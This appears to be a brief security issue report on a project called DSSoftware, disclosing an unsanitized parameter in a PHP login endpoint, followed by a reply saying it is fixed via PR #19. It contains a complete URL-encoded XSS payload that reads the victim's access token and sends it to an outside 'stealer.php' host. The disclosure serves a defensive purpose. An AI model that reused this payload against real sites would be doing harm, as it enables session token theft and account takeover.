Insecure use of parameters

[DSSoftware]

https://login.ds-software.xyz/external_auth.php?public=%22;var%20url=window.location.href.split(%27?%27)[0];var%20message=window.token%2B%22;LINK=%22%2Burl;var%20xhrnew=new%20XMLHttpRequest();xhrnew.open(%27GET%27,%20%27https://artemdevvk.ml/stealer.php?message=%27%2Bmessage,true);xhrnew.send();return;%22

This link will send the victim's access token to attacker if the victim visited the URL above (And was logged in before).
Some of the inputs from PHP are not sanitized.

[DSSoftware]

Fixed the issue.
It's a critical bug, so PR #19 will be merged, as it contains the fix for this issue.